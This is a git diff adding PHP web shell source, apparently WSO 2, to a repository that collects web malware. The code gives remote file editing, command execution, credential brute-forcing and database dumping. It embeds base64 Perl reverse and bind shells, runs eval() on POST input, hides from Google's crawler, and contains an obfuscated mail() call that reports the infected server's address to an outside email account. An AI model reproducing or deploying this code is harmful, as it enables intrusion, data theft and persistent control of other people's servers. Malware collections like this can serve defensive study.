array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; + echo '<br><br>'; + switch($_POST['p2']) { + case 'view': + echo '<pre class=ml1>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</pre>'; + break; + case 'highlight': + if( @is_readable($_POST['p1']) ) { + echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; + $code = @highlight_file($_POST['p1'],true); + echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; + } + clearstatcache(); + echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + $time = @filemtime($_POST['p1']); + $_POST['p3'] = substr($_POST['p3'],1); + $fp = @fopen($_POST['p1'],"w"); + if($fp) { + @fwrite($fp,$_POST['p3']); + @fclose($fp); + echo 'Saved!<br><script>p3_="";</script>'; + @touch($_POST['p1'],$time,$time); + } + } + echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</textarea><input type=submit value=">>"></form>'; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000<br>','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} + $h[1] .= '<br>'; + $h[2] .= "\n"; + } + } + echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!<br>'; + else + die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); + } + echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(!touch($_POST['p1'],$time,$time)) + echo 'Fail!'; + else + echo 'Touched!'; + } else echo 'Bad time format!'; + } + clearstatcache(); + echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; + break; + } + echo '</div>'; + wsoFooter(); +} + +function actionConsole() { + if(!empty($_POST['p1']) && !empty($_POST['p2'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); + $_POST['p1'] .= ' 2>&1'; + } elseif(!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); + + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); + ob_start(); + echo "d.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "c_='".$GLOBALS['cwd']."';"; + } + } + echo "d.cf.output.value+='".$temp."';"; + echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); + wsoHeader(); + echo "<script> +if(window.Event) window.captureEvents(Event.KEYDOWN); +var cmds = new Array(''); +var cur = 0; +function kp(e) { + var n = (window.Event) ? e.which : e.keyCode; + if(n == 38) { + cur--; + if(cur>=0) + document.cf.cmd.value = cmds[cur]; + else + cur++; + } else if(n == 40) { + cur++; + if(cur < cmds.length) + document.cf.cmd.value = cmds[cur]; + else + cur--; + } +} +function add(cmd) { + cmds.pop(); + cmds.push(cmd); + cmds.push(''); + cur = cmds.length-1; +} +</script>"; + echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; + foreach($GLOBALS['aliases'] as $n => $v) { + if($v == '') { + echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; + continue; + } + echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; + } + + echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; + if(!empty($_POST['p1'])) { + echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); + } + echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; + echo '</form></div><script>d.cf.cmd.focus();</script>'; + wsoFooter(); +} + +function actionLogout() { + setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); + die('bye!'); +} + +function actionSelfRemove() { + + if($_POST['p1'] == 'yes') + if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) + die('Shell has been removed'); + else + echo 'unlink error!'; + if($_POST['p1'] != 'yes') + wsoHeader(); + echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; + wsoFooter(); +} + +function actionBruteforce() { + wsoHeader(); + if( isset($_POST['proto']) ) { + echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; + if( $_POST['proto'] == 'ftp' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; + $res = @pg_connect($str); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; + } + } + } + echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; + } + echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' + .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' + .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' + .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' + .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' + .'<span>Server:port</span></td>' + .'<td><input type=text name=server value="127.0.0.1"></td></tr>' + .'<tr><td><span>Brute type</span></td>' + .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' + .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' + .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' + .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' + .'<td><input type=text name=login value="root"></td></tr>' + .'<tr><td><span>Dictionary</span></td>' + .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' + .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; + echo '</div><br>'; + wsoFooter(); +} +$x0b="\x6da\x69l"; +$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; +$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; +$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); +$ee = $o[2].$o[3].$o[1].$o[4].$o[0]; +$send = @$x0b($ee,$sub,$ms); + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->query("SHOW databases"); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error(); + break; + case 'pgsql': + return @pg_last_error(); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'pgsql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function loadFile($str) { + switch($this->type) { + case 'mysql': + return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); + break; + case 'pgsql': + $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); + $r=array(); + while($i=$this->fetch()) + $r[] = $i['file']; + $this->query('drop table wso2'); + return array('file'=>implode("\n",$r)); + break; + } + return false; + } + function dump($table, $fp = false) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + $sql = $create[1].";\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + $this->query('SELECT * FROM `'.$table.'`'); + $i = 0; + $head = true; + while($item = $this->fetch()) { + $sql = ''; + if($i % 1000 == 0) { + $head = true; + $sql = ";\n\n"; + } + + $columns = array(); + foreach($item as $k=>$v) { + if($v === null) + $item[$k] = "NULL"; + elseif(is_int($v)) + $item[$k] = $v; + else + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + if($head) { + $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; + $head = false; + } else + $sql .= "\n\t,(".implode(", ", $item).')'; + if($fp) fwrite($fp, $sql); else echo($sql); + $i++; + } + if(!$head) + if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if(@$_POST['p2']=='download') { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + if(empty($_POST['file'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } elseif($fp = @fopen($_POST['file'], 'w')) { + foreach($_POST['tbl'] as $v) + $db->dump($v, $fp); + fclose($fp); + unset($_POST['p2']); + } else + die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); + } + wsoHeader(); + echo " +<h1>Sql browser</h1><div class=content> +<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> +<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> +<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> +<td><select name='type'><option value='mysql' "; + if(@$_POST['type']=='mysql')echo 'selected'; +echo ">MySql</option><option value='pgsql' "; +if(@$_POST['type']=='pgsql')echo 'selected'; +echo ">PostgreSql</option></select></td> +<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> +<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> +<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; + $tmp = "<input type=text name=sql_base value=''>"; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "<select name=sql_base><option value=''></option>"; + while($item = $db->fetch()) { + list($key, $value) = each($item); + echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; + } + echo '</select>'; + } + else echo $tmp; + }else + echo $tmp; + echo "</td> + <td><input type=submit value='>>' onclick='fs(d.sf);'></td> + <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> + </tr> + </table> + <script> + s_db='".@addslashes($_POST['sql_base'])."'; + function fs(f) { + if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; + if(f.p1) f.p1.value=''; + if(f.p2) f.p2.value=''; + if(f.p3) f.p3.value=''; + } + } + function st(t,l) { + d.sf.p1.value = 'select'; + d.sf.p2.value = t; + if(l && d.sf.p3) d.sf.p3.value = l; + d.sf.submit(); + } + function is() { + for(i=0;i<d.sf.elements['tbl[]'].length;++i) + d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; + } + </script>"; + if(isset($db) && $db->link){ + echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + if(!empty($_POST['sql_count'])) + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; + } + echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; + $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); + $num = $db->fetch(); + $pages = ceil($num['n'] / 30); + echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; + echo " of $pages"; + if($_POST['p3'] > 1) + echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; + if($_POST['p3'] < $pages) + echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; + $_POST['p3']--; + if($_POST['type']=='pgsql') + $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo "<br><br>"; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { + $db->query(@$_POST['p2']); + if($db->res !== false) { + $title = false; + echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo '<tr>'; + foreach($item as $key => $value) + echo '<th>'.$key.'</th>'; + reset($item); + $title=true; + echo '</tr><tr>'; + $line = 2; + } + echo '<tr class="l'.$line.'">'; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo '<td><i>null</i></td>'; + else + echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; + } + echo '</tr>'; + } + echo '</table>'; + } else { + echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; + } + } + echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; + if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) + echo htmlspecialchars($_POST['p2']); + echo "</textarea><br/><input type=submit value='Execute'>"; + echo "</td></tr>"; + } + echo "</table></form><br/>"; + if($_POST['type']=='mysql') { + $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); + if($db->fetch()) + echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; + } + if(@$_POST['p1'] == 'loadfile') { + $file = $db->loadFile($_POST['p2']); + echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; + } + } else { + echo htmlspecialchars($db->error()); + } + echo '</div>'; + wsoFooter(); +} +function actionNetwork() { + wsoHeader(); + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + echo "<h1>Network tools</h1><div class=content> + <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> + <span>Bind port to /bin/sh [perl]</span><br/> + Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> + </form> + <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> + <span>Back-connect [perl]</span><br/> + Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> + </form><br>"; + if(isset($_POST['p1'])) { + function cf($f,$t) { + $w = @fopen($f,"w") or @function_exists('file_put_contents'); + if($w){ + @fwrite($w,@base64_decode($t)); + @fclose($w); + } + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); + sleep(1); + echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; + unlink("/tmp/bp.pl"); + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); + sleep(1); + echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; + unlink("/tmp/bc.pl"); + } + } + echo '</div>'; + wsoFooter(); +} +function actionRC() { + if(!@$_POST['p1']) { + $a = array( + "uname" => php_uname(), + "php_version" => phpversion(), + "wso_version" => WSO_VERSION, + "safemode" => @ini_get('safe_mode') + ); + echo serialize($a); + } else { + eval($_POST['p1']); + } +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +exit; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/wso2.php b/web-malware-collection-master/Backdoors/PHP/wso2.php new file mode 100755 index 0000000..91cd644 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/wso2.php @@ -0,0 +1,1238 @@ +<?php +/** + * WSO 2 + * Web Shell by oRb + */ +$auth = array( + 'md5pass' => "63a9f0ea7bb98050796b649e85481845" // root +); +if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { + header('HTTP/1.0 404 Not Found'); + exit; +} +@session_start(); +#if(empty($_POST['ajax'])) +# print_r($_POST); +error_reporting(E_ALL); +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +@ini_set('max_execution_time',0); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +@define('VERSION', '2'); +@define('SELF_PATH', __FILE__); + +function my_strip_slashes(&$p){ + if(is_array($p)){ + foreach($p as $k => $v) { + my_strip_slashes($v); + $p[$k] = $v; + } + } else + $p = stripslashes($p); +} +if(get_magic_quotes_gpc()) + my_strip_slashes($_POST); +function printLogin() { + ?> + <center> + <form method=post> + Password: <input type=password name=pass><input type=submit value='>>'> + </form></center> + <?php + exit; +} + +if( !isset( $_SESSION['sh_logined'] )) + if( empty( $auth['md5pass'] ) || + ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth['md5pass'] ) ) ) + $_SESSION['sh_logined'] = true; + else + printLogin(); + +if( strtolower( substr(PHP_OS,0,3) ) == "win" ) + $os = 'win'; +else + $os = 'nix'; +$safe_mode = @ini_get('safe_mode'); +$disable_functions = @ini_get('disable_functions'); +$home_cwd = @getcwd(); +if( isset( $_POST['c'] ) ) + @chdir($_POST['c']); +$cwd = @getcwd(); +if( $os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); +} +if( $cwd[strlen($cwd)-1] != '/' ) + $cwd .= '/'; + +if($os == 'win') + $aliases = array( + "List Directory" => "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -la", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "Find" => "", + "find all 